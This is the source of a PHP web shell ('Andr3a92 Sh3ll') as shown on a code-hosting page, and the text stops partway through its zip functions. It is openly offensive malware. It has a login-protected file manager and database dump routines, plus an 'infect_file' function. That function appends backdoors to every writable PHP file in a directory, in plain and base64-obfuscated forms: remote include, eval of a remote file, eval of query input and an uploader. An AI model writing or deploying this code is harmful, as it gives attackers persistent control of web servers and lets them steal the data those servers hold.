-
Notifications
You must be signed in to change notification settings - Fork 4
/
andr3a92.php
executable file
·1719 lines (1643 loc) · 99.9 KB
/
andr3a92.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
ob_start();
@closelog();
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()) $strip_all = true;
else $strip_all = false;
if($_GET['img'] != "") get_img($_GET['img']);
/*img func*/
function get_img($img){
$images = array(
"file" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMZJREFUeNpi/P//PwMlgAWXRFdXFz6Tg8vKytbhNACm2cPDg0FPTw+b/FogxQhiM2HTDNIIA9+/f2f4+vUrw+fPnxk+fPiAYRgTNs1AW7fAxP7+/YuCcYYBzNk7duwAYR9paemXQK44SNO/f/8YYDTeQER2OkizgoICw58/f+CaCRoACjCQX2GKf//+jaIZrxeQ/YysAZ1NtAG4DCLKAFyaiTIAFGi4NJPtBZINwKYZlOmIMgAU9+TmRj9gatxEpD4/GAMgwAAmB/m2aUdLLwAAAABJRU5ErkJggg==",
"zip" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAVBJREFUeNqkU7FKxEAQnT3yAf6Bhb2lqJyQL7ERTtDjehEsBGMvgVOuUb8khWIriKWFXQgh5EJCquwzM7uJJoVb3IYwMzvzZt7O7igAtMnybhdHnW5zgVhalS22FTv7PatznNeBz2fH4tjaPaXs/Z60DWS5XD1zrBqDWfe6yuHDE12Gr2Iopej67LAP6omNwBxKN/MptNZomsb4zEFQ1zWqqkJZliiKAnmeI8sypGmKJEkQxzEuTvbg2dS0/lgNmrP+fKQ2sVTT9ihtHdGhzR7TmeDPWaMoEvosXeDWLf4J8zXBIN/3KQgCkS6w2O03oREDXsLABTZNZAbo6XJlXixdYHPNtgecgP8BAydYLosT/NIZMvgfjHETOeD7LZQEXy93bjCZRyVNNAmItg/mkmBnunCCtZ1BdTXb7y6iPwrMFPU6r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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAL//hv+J/8jpwP/67uB/1uXgP6TS4A+L0vAHbsz4A4zh/AOO//4BAAL/AAAA/4EAAP/hAAD//wAA//8AAA==",
"favicon2" => "AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAAAAPAKAADwCgAAAAAAAAAAAAAAAAAAAAAAAAAAACMFAwM/AQEBNwAAABkAAAADAAAABwAAAAMCAQEgCAUFSwYEBEMAAAAxAAAAHAAAAAIAAAAAAAAAAGhNTW6cdnbflGdn7ophYedxTk7SY0dHs4JjY7pjRka1l25u3LqLi/eZbW3uoXl55INhYdUQCgpZAAAAAAAAAADYrq7i/+/v//LR0f/iubn/4rOz//7R0f//3Nz//9DQ/+y3t//hra3/77q6//3Hx//nsLD/NSQkegAAAAAAAAAAz6ioqv/y8v//8PD//+np//fT0//92dn//9vb///W1v/8zMz/9cLC//fExP/3w8P/vpCQ8QkGBjkAAAAAAAAAAMyiol799vb///b2///x8f/22tr/+tzc///j4///29v//tPT//fFxf/5xsb//MjI/5Nubs0AAAAQAAAAAAAAAADasLAr7d7e+v///////Pz/++vr//rj4///6ur//+Li///a2v/6zc3//svL//vFxf9kSUmrAAAAAAAAAAAAAAAA04uLBuLCwtH///////////329v/66+v///Ly///q6v//4OD//NPT///R0f/yvr7/QzAwgwAAAAAAAAAAAAAAAAAAAADcuLiU/////////////f3//fX1///6+v/+7u7//+fn//7a2v//19f/4rGx/yQZGWIAAAAAAAAAAAAAAAAAAAAAln5+dv/+/v/Uu7v/7dra///////XxMT/06+v//3m5v//4+P//9vb/9apqf4MCQlTAAAAAAAAAAAAAAAAAAAAAN21tWfs5eX/pISE/8qsrP/y7Oz/ooeH/7CMjP/hxcX//+rq///f3//LoKDwBgMDPQAAAAAAAAAAAAAAAAAAAADvsrJS4tnZ/4VwcP+hior/5Nra/4Nvb/+NcnL/xK2t///v7///4+P/tJCQ3gEAAB8AAAAAAAAAAAAAAAAAAAAA94SEMu7a2v5zY2P/e25u//Dn5/96aGj/X1BQ/8u8vP//8fH//+Tk/4NlZbMAAAAEAAAAAAAAAAAAAAAAAAAAAP/5+Qn/5ubOybq6/7yysv//////w7Cw/5iKiv/78fH///Hx/+vGxvsmGhpLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn4ODTv/29v///////////////////v7///r6///r6/95X1+UAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4xMRo9+Tk8f////////////////Te3viGaWmJBQICCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPK3tye9nJxke3R0fXhoaHVQODg0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAMADhv+AA8jpgAP67sAD1uXAA6TSwAOL0sAHbszgB4zh4AeO/+AHAALgBwAA4A8AAPAPAAD4HwAA//8AAA=="
);
header("Content-type: image/gif");
header("Cache-control: public");
echo base64_decode($images[$img]);
die();
}
if(is_file(md5('andr3a92'))){
if(!isset($_COOKIE['shell_username']) || !isset($_COOKIE['shell_password'])){
if(!isset($_POST['login'])){
echo '<form action="" method="POST">Username: <input type="text" name="username"><br>Password: <input type="password" name="password"><br><input type="submit" value="Login" name="login"></form>';
die();
}
else{
$fp = file(md5('andr3a92'));
$fp = explode('::::',$fp[count($fp)-2]);
$username = trim($fp[0]);
$password = trim($fp[1]);
if(md5(md5(strtolower($_POST['username'])).'andr3a92') == $username && md5(md5($_POST['password']).'andr3a92') == $password){
setcookie('shell_username',md5(sha1(md5(sha1(md5(sha1(base64_encode($username))))))),time() + 60*60*24,"/");
setcookie('shell_password',md5(sha1(md5(sha1(md5(sha1(base64_encode($password))))))),time() + 60*60*24,"/");
}
else{
echo '<font color="red" size="5">USERNAME AND/OR PASSWORD WRONG!</font>';
die();
}
}
}
else{
$fp = file(md5('andr3a92'));
$fp = explode('::::',$fp[count($fp)-2]);
$username = trim($fp[0]);
$password = trim($fp[1]);
if(($_COOKIE['shell_username'] != md5(sha1(md5(sha1(md5(sha1(base64_encode($username)))))))) || ($_COOKIE['shell_password'] != md5(sha1(md5(sha1(md5(sha1(base64_encode($password))))))))){
setcookie("shell_username","",time() - 3600,"/");
setcookie("shell_password","",time() - 3600,"/");
header("refresh: 1");
die('Access denied!');
}
}
}
if($_POST['download'] != ""){
$download = $_POST['download'];
if(strpos($download,"/") !== FALSE){
$download_name = explode("/",$download);
$download_name = $download_name[count($download_name)-1];
}
elseif(strpos($download,"\\") !== FALSE){
$download_name = explode("\\",$download);
$download_name = $download_name[count($download_name)-1];
}
else $file_name = $download;
if(is_file($download)) download($download);
else die("404 not found!");
}
if($_POST['phpinfo'] == "view"){
echo "<center><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\" name=\"return\"><input type=\"hidden\" name=\"dir\" value=\"".htmlspecialchars($_POST['dir'])."\">
<a href=\"#\" onclick=\"document.return.submit()\">Return to Andr3a92 Sh3ll</a></center></form><br><br>";
phpinfo();
die();
}
?>
<html>
<head>
<link rel="shortcut icon" href="<?php echo $shell."?img=favicon1"; ?>">
<title>
~ Andr3a92 ~ Sh3ll ~
</title>
<style type="text/css">
a:link{
font-family: tahoma;
font-size: 12px;
text-decoration: none;
color: #808080;
}
a:visited{
font-family: tahoma;
font-size: 12px;
text-decoration: none;
color: #808080;
}
a:active{
font-family: tahoma;
font-size: 12px;
text-decoration: none;
color: #808080;
}
a:hover{
font-family: tahoma;
font-size: 12px;
text-decoration: none;
color: #FFFFFF;
}
body{
background-color: #A6DFFA;
color: #808080;
font-family: tahoma;
font-size: 12px;
}
table{
font-family: tahoma;
font-size: 12px;
width: 650px;
border: solid 1px #FFFFFF;
}
table#actions{
width: 96px;
border: 0px;
}
table#actions td{
width: 16px;
border: 0px;
}
table#querymenu{
width: 645px;
border: 0px;
}
table#querymenu td{
border: 0px;
}
table#query_act{
width: 32px;
border: 0px;
}
table#query_act td{
width: 16px;
border: 0px;
}
table#checkbox{
width: 632px;
border: 0px;
}
table#checkbox td{
border: 0px;
}
table#queryshow{
width: 332px;
border: 0px;
}
table#queryshow td{
border: 0px;
}
table#actionsdir{
width: 64px;
border: 0px;
}
table#actionsdir td{
width: 16px;
border: 0px;
}
table#drives{
border: 0px;
}
table#drives td{
border: 0px;
width: 30px;
}
table#cd{
width: 300px;
border: 0px;
}
table#cd td{
border: 0px;
}
td{
font-family: tahoma;
font-size: 12px;
border: solid 1px #FFFFFF;
}
form {
margin:0px;
padding:0px;
}
</style>
<SCRIPT LANGUAGE="JavaScript">
function calculator(user, number){
if (user == "owner" && number == "4"){var box = eval("document.chmod.owner4");}
if (user == "owner" && number == "2"){var box = eval("document.chmod.owner2");}
if (user == "owner" && number == "1"){var box = eval("document.chmod.owner1");}
if (user == "group" && number == "4"){var box = eval("document.chmod.group4");}
if (user == "group" && number == "2"){var box = eval("document.chmod.group2");}
if (user == "group" && number == "1"){var box = eval("document.chmod.group1");}
if (user == "other" && number == "4"){var box = eval("document.chmod.other4");}
if (user == "other" && number == "2"){var box = eval("document.chmod.other2");}
if (user == "other" && number == "1"){var box = eval("document.chmod.other1");}
if (box.checked == true){
if (user == "owner"){
document.chmod.h_owner.value += ("+number");
var a = (document.chmod.h_owner.value);
var b = eval(a);
document.chmod.h_owner.value = b;
document.chmod.t_owner.value = b;
}
if (user == "group"){
document.chmod.h_group.value += ("+number");
var a = (document.chmod.h_group.value);
var b = eval(a);
document.chmod.h_group.value = b;
document.chmod.t_group.value = b;
}
if (user == "other"){
document.chmod.h_other.value += ("+number");
var a = (document.chmod.h_other.value);
var b = eval(a);
document.chmod.h_other.value = b;
document.chmod.t_other.value = b;
}
}
if (box.checked == false){
if (user == "owner"){
if (document.chmod.h_owner.value == ""){
document.chmod.t_owner.value = "";
}
else{
var a = (document.chmod.h_owner.value);
b = a-(number);
c = eval(b);
document.chmod.h_owner.value = c;
document.chmod.t_owner.value = c;
}
}
if (user == "group"){
if (document.chmod.h_group.value == ""){
document.chmod.t_group.value = "";
}
else{
var a=(document.chmod.h_group.value);
b = a-(number);
c = eval(b);
document.chmod.h_group.value = c;
document.chmod.t_group.value = c;
}
}
if (user == "other"){
if (document.chmod.h_other.value == ""){
document.chmod.t_other.value = "";
}
else{
var a=(document.chmod.h_other.value);
b = a-(number);
c = eval(b);
document.chmod.h_other.value = c;
document.chmod.t_other.value = c;
}
}
}
}
function checkalldir(num) {
b = eval("document.checkboxform.check1");
if(b.checked == true){
b = eval("document.checkboxform.check2");
if(b.checked == true){
b = eval("document.checkboxform.check3");
b.checked = true;
}
for (i = 0; i < num; i++) {
box = eval("document.checkboxform.dir__" + i);
if (box.checked == false) box.checked = true;
}
}
else{
b = eval("document.checkboxform.check3");
if(b.checked == true) b.checked = false;
for (i = 0; i < num; i++) {
box = eval("document.checkboxform.dir__" + i);
if (box.checked == true) box.checked = false;
}
}
}
function checkallfile(num) {
b = eval("document.checkboxform.check2");
if(b.checked == true){
b = eval("document.checkboxform.check1");
if(b.checked == true){
b = eval("document.checkboxform.check3");
b.checked = true;
}
for (i = 0; i < num; i++) {
box = eval("document.checkboxform.file__" + i);
if (box.checked == false) box.checked = true;
}
}
else{
b = eval("document.checkboxform.check3");
if(b.checked == true) b.checked = false;
for (i = 0; i < num; i++) {
box = eval("document.checkboxform.file__" + i);
if (box.checked == true) box.checked = false;
}
}
}
function checkall(num,num2) {
b = eval("document.checkboxform.check3");
if(b.checked == true){
box = eval("document.checkboxform.check1");
box.checked = true;
box = eval("document.checkboxform.check2");
box.checked = true;
for (i = 0; i < num; i++) {
box = eval("document.checkboxform.dir__" + i);
if (box.checked == false) box.checked = true;
}
for (i = 0; i < num2; i++) {
box = eval("document.checkboxform.file__" + i);
if (box.checked == false) box.checked = true;
}
}
else{
box = eval("document.checkboxform.check1");
box.checked = false;
box = eval("document.checkboxform.check2");
box.checked = false;
for (i = 0; i < num; i++) {
box = eval("document.checkboxform.dir__" + i);
if (box.checked == true) box.checked = false;
}
for (i = 0; i < num2; i++) {
box = eval("document.checkboxform.file__" + i);
if (box.checked == true) box.checked = false;
}
}
}
function invertall(num,num2){
for(i = 0; i < num; i++){
box = eval("document.checkboxform.dir__" + i);
if(box.checked == true) box.checked = false;
else box.checked = true;
}
for(i = 0; i < num2; i++){
box = eval("document.checkboxform.file__" + i);
if(box.checked == true) box.checked = false;
else box.checked = true;
}
checkone(num,num2);
}
function checkone(num,num2){
d1 = 0;
for(i = 0; i < num; i++){
box = eval("document.checkboxform.dir__" + i);
if(box.checked == true) d1++;
}
b1 = eval("document.checkboxform.check1");
if(d1 == num) b1.checked = true;
else b1.checked = false;
d2 = 0;
for(i = 0; i < num2; i++){
box = eval("document.checkboxform.file__" + i);
if(box.checked == true) d2++;
}
b2 = eval("document.checkboxform.check2");
if(d2 == num2) b2.checked = true;
else b2.checked = false;
b3 = eval("document.checkboxform.check3");
if(b1.checked == true && b2.checked == true) b3.checked = true;
else b3.checked = false;
}
function go(){
answer = confirm("If the floppy isn't inserted in the drive A the page can give a rountime error!");
if(answer) document.drive_A.submit();
}
</script>
<body>
<center>
<?php
/*shell name*/
$shell = htmlspecialchars(basename($_SERVER['PHP_SELF']));
//Functions
/* download file*/
function download($file){
$file_ = str_replace(" ","%20",$file);
if(strpos($file_,"/") !== FALSE){
$file_name = explode("/",$file_);
$file_name = $file_name[count($file_name)-1];
}
else $file_name = $file_;
header("Content-Type: application/octet-stream; charset=utf-8");
header("Content-Length:" . filesize($file));
header("Content-Disposition: attachment; filename=".$file_name );
readfile($file);
die();
}
/*Infect file*/
function infect_file($file,$mode,$safe = 0){
global $strip_all;
if($file != basename($shell)){
$fp = fopen($file,"a+");
if($strip_all){
$evilcode = array(
"rfi" => '<?php if($_GET[\'rfi\'] != "") include($_GET[\'rfi\']); ?>',
"eval_remote_file" => '<?php if($_GET[\'remoteeval\'] != "") eval(file_get_contents($_GET[\'remoteeval\'])); ?>',
"eval" => '<?php if($_GET[\'eval\'] != "") eval(stripslashes($_GET[\'eval\'])); ?>',
"uploader" => '<?php if($_GET[\'upload\'] != ""){ if(!isset($_POST[\'upload\'])){ echo \'<form enctype="multipart/form-data" method="POST" action=""><br><b>File:</b><input type="file" name="file"> <input type="submit" value="Upload" name="upload"></form>\'; } else{ $temporaney = $_FILES[\'file\'][\'tmp_name\']; $upload = $_FILES[\'file\'][\'name\']; if(move_uploaded_file($temporaney,$upload)) echo \'<font color="green">File uppato!</font>\'; else echo \'<font color="red">File non uppato!</font>\'; }}?>'
);
$evilcode_base64 = array(
"rfi" => '<?php eval(base64_decode("aWYoJF9HRVRbJ3JmaSddICE9ICIiKSBpbmNsdWRlKCRfR0VUWydyZmknXSk7")); ?>',
"eval_remote_file" => '<?php eval(base64_decode("aWYoJF9HRVRbJ3JlbW90ZWV2YWwnXSAhPSAiIikgZXZhbChmaWxlX2dldF9jb250ZW50cygkX0dFVFsncmVtb3RlZXZhbCddKSk7")); ?>',
"eval" => '<?php eval(base64_decode("aWYoJF9HRVRbJ2V2YWwnXSAhPSAiIikgZXZhbChzdHJpcHNsYXNoZXMoJF9HRVRbJ2V2YWwnXSkpOw==")); ?>',
"uploader" => '<?php eval(base64_decode("aWYoJF9HRVRbJ3VwbG9hZCddICE9ICIiKXsgaWYoIWlzc2V0KCRfUE9TVFsndXBsb2FkJ10pKXsgZWNobyAnPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+PGJyPjxiPkZpbGU6PC9iPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIj4JCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiIG5hbWU9InVwbG9hZCI+PC9mb3JtPic7IH0gZWxzZXsgJHRlbXBvcmFuZXkgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107ICR1cGxvYWQgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsgaWYobW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wb3JhbmV5LCR1cGxvYWQpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkZpbGUgdXBwYXRvITwvZm9udD4nOyBlbHNlIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkZpbGUgbm9uIHVwcGF0byE8L2ZvbnQ+JzsgfX0=")); ?>'
);
}
else{
$evilcode = array(
"rfi" => '<?php if($_GET[\'rfi\'] != "") include($_GET[\'rfi\']); ?>',
"eval_remote_file" => '<?php if($_GET[\'remoteeval\'] != "") eval(file_get_contents($_GET[\'remoteeval\'])); ?>',
"eval" => '<?php if($_GET[\'eval\'] != "") eval($_GET[\'eval\']); ?>',
"uploader" => '<?php if($_GET[\'upload\'] != ""){ if(!isset($_POST[\'upload\'])){ echo \'<form enctype="multipart/form-data" method="POST" action=""><br><b>File:</b><input type="file" name="file"> <input type="submit" value="Upload" name="upload"></form>\'; } else{ $temporaney = $_FILES[\'file\'][\'tmp_name\']; $upload = $_FILES[\'file\'][\'name\']; if(move_uploaded_file($temporaney,$upload)) echo \'<font color="green">File uppato!</font>\'; else echo \'<font color="red">File non uppato!</font>\'; }}?>'
);
$evilcode_base64 = array(
"rfi" => '<?php eval(base64_decode("aWYoJF9HRVRbJ3JmaSddICE9ICIiKSBpbmNsdWRlKCRfR0VUWydyZmknXSk7")); ?>',
"eval_remote_file" => '<?php eval(base64_decode("aWYoJF9HRVRbJ3JlbW90ZWV2YWwnXSAhPSAiIikgZXZhbChmaWxlX2dldF9jb250ZW50cygkX0dFVFsncmVtb3RlZXZhbCddKSk7")); ?>',
"eval" => '<?php eval(base64_decode("aWYoJF9HRVRbJ2V2YWwnXSAhPSAiIikgZXZhbCgkX0dFVFsnZXZhbCddKTs=")); ?>',
"uploader" => '<?php eval(base64_decode("aWYoJF9HRVRbJ3VwbG9hZCddICE9ICIiKXsgaWYoIWlzc2V0KCRfUE9TVFsndXBsb2FkJ10pKXsgZWNobyAnPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+PGJyPjxiPkZpbGU6PC9iPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIj4JCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiIG5hbWU9InVwbG9hZCI+PC9mb3JtPic7IH0gZWxzZXsgJHRlbXBvcmFuZXkgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107ICR1cGxvYWQgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsgaWYobW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wb3JhbmV5LCR1cGxvYWQpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkZpbGUgdXBwYXRvITwvZm9udD4nOyBlbHNlIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkZpbGUgbm9uIHVwcGF0byE8L2ZvbnQ+JzsgfX0=")); ?>'
);
}
if($safe == 0){
if(!fwrite($fp,"\n\r".$evilcode[$mode])) return FALSE;
else return TRUE;
}
else{
if(!fwrite($fp,"\n\r".$evilcode_base64[$mode])) return FALSE;
else return TRUE;
}
fclose($fp);
}
else return FALSE;
}
$infected_files = array();
/* global infector*/
function infect_files($mode,$dir_ = '',$safe = 0){
global $infected_files;
if($dir_ != "") chdir($dir_);
foreach(glob("*.php") as $file){
if(is_writable($file) && $file != basename($shell)){
if(infect_file($file,$mode,$safe)) $infected_files[] = $file;
}
}
}
/*Mysql dump*/
function dump_table($table,$continue = 0,$add_db_name = 1) {
if($continue == 0){
$result = "# Dump by Andr3a92 Sh3ll\n";
if($add_db_name == 0) $result .= "# Dump of database ".$_COOKIE['db']."\n";
$result .= "# Dump DATE : " . date("d-M-Y") ."\n\n";
$result .= "# Dump of $table \n";
}
else $result = "# Dump of $table \n";
$table_create = mysql_query("SHOW CREATE TABLE $table");
$table_row = mysql_fetch_array($table_create);
$result .= $table_row[1]."\n\n";
$query = mysql_query("SELECT * FROM $table");
$num_fields = @mysql_num_fields($query);
$numrow = mysql_num_rows($query);
$all_fields = "";
for($cr = 0; $cr < $num_fields; $cr++){
$name = mysql_field_name($query,$cr);
$all_fields .= "`".$name."`";
if($cr < ($num_fields -1)) $all_fields .= ",";
}
for ($a = 0; $a < $numrow; $a++){
$row = mysql_fetch_row($query);
$result .= "INSERT INTO ".$table."(".$all_fields.") VALUES(";
for($b = 0; $b < $num_fields; $b++) {
$row[$b] = addslashes($row[$b]);
$row[$b] = ereg_replace("\n","\\n",$row[$b]);
if (isset($row[$b])) $result .= "'$row[$b]'" ;
else $result .= "\"\"";
if ($b < ($num_fields-1)) $result .= ",";
}
$result .= ");\n";
}
return $result . "\n\n";
}
/* dump only a table */
function dump_db_table($host,$username,$password,$database,$table,$dump_file){
if(mysql_connect($host,$username,$password)){
if(mysql_select_db($database)){
$dump = dump_table($table,0);
if($dump_file == "" || $dump_file == ".sql") $dump_file = gen_filename('dump_'.$table.'_'.date("d_M_Y").'.sql');
else $dump_file = gen_filename($dump_file);
if($dump != ""){
$fp = fopen($dump_file,"x+");
if(fwrite($fp,$dump)) echo "<font color=\"green\">Dump done successfull!</font>";
else echo "<font color=\"red\">An error occured! Cannot create dump file!</font>";
fclose($fp);
}
else echo "<font color=\"red\">An error occured! No dump generated!</font>";
}
else{
mysql_close();
echo "<font color=\"red\">An error occurted! Could not select the database called ".htmlspecialchars($database)."!</font>";
}
}
else{
mysql_close();
echo "<font color=\"red\">An error occurted! Could not login ".htmlspecialchars($username)." @ ".htmlspecialchars($host)."!</font>";
}
}
/* Db dump */
function dump_db($host,$username,$password,$database,$dump_file){
if(mysql_connect($host,$username,$password)){
if(mysql_select_db($database)){
$dump = "";
$show = mysql_query("SHOW TABLES");
$a = 0;
while($row = mysql_fetch_array($show)){
$dump .= dump_table($row[0],$a,$a);
$a++;
}
mysql_close();
if($dump_file == "" || $dump_file == ".sql") $dump_file = gen_filename('dump_'.date("d_M_Y").'.sql');
else $dump_file = gen_filename($dump_file);
if($dump != ""){
$fp = fopen($dump_file,"x+");
if(fwrite($fp,$dump)) echo "<font color=\"green\">Dump done successfull!</font>";
else echo "<font color=\"red\">An error occured! Cannot create dump file!</font>";
fclose($fp);
}
else echo "<font color=\"red\">An error occured! No dump generated!</font>";
}
else{
mysql_close();
echo "<font color=\"red\">An error occurted! Could not select the database called ".htmlspecialchars($database)."!</font>";
}
}
else{
mysql_close();
echo "<font color=\"red\">An error occurted! Could not login ".htmlspecialchars($username)." @ ".htmlspecialchars($host)."!</font>";
}
}
/* no duplicate filenames */
function gen_filename($filename){
if(is_file($filename)){
$exp = explode(".",$filename);
$filename = "";
for($a = 0; $a < count($exp) - 1; $a++) $filename .= $exp[$a];
$filename .= "_2.".$exp[count($exp)-1];
if(is_file($filename)) return gen_filename($filename);
else return $filename;
}
else return $filename;
}
/*size of file in b , KB, MB*/
function format_num($num){
if($num < 1024){
$totalnum = $num." b";
}
elseif($num >= 1024 AND $num < 1048576){
$to_divide = $num / 1024;
$num_total = number_format($to_divide, 2, '.', '');
$totalnum = $num_total." KB";
}
elseif($num >= 1048576 AND $num < 1073741824){
$to_divide = $num / 1048576;
$num_total = number_format($to_divide, 2, '.', '');
$totalnum = $num_total." MB";
}
elseif($num >= 1073741824){
$to_divide = $num / 1073741824;
$num_total = number_format($to_divide, 2, '.', '');
$totalnum = $num_total." GB";
}
return $totalnum;
}
/* decimal semplification */
function format_num_($num){
if(strpos($num,".") !== FALSE){
$num = explode(".",$num);
$dec = $num[1];
if($dec[0] > 5) $num = $num[0] + 1;
else $num = $num[0];
}
else $num = $num;
return $num;
}
/*size of file in b , KB, MB*/
function totalsize($filesize){
$size = filesize($filesize);
$totalsize = format_num($size);
return $totalsize;
}
/*remove a dir and all file inside it*/
function rmdirr($dir_rm) {
if($internal = @glob($dir_rm."/*")){
foreach($internal as $file) {
if(is_file($file)) @unlink($file);
elseif(is_dir($file)) rmdirr($file);
}
}
@rmdir($dir_rm);
}
/*file permissions*/
function getperms($f) {
$mode = fileperms($f);
$perm = "";
$perm .= ($mode & 00400) ? 'r' : '-';
$perm .= ($mode & 00200) ? 'w' : '-';
$perm .= ($mode & 00100) ? 'x' : '-';
$perm .= ($mode & 00040) ? 'r' : '-';
$perm .= ($mode & 00020) ? 'w' : '-';
$perm .= ($mode & 00010) ? 'x' : '-';
$perm .= ($mode & 00004) ? 'r' : '-';
$perm .= ($mode & 00002) ? 'w' : '-';
$perm .= ($mode & 00001) ? 'x' : '-';
return $perm;
}
// Zip functions
/*zip vars*/
$datasec = array();
$ctrl_dir = array();
$eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
$old_offset = 0;
$zip_error = array();
/* convert time */
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980){
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
/*gen file in archive*/
function add_File($data, $name, $time = 0){
global $datasec;
global $ctrl_dir;
global $old_offset;
$name = str_replace('\\', '/', $name);
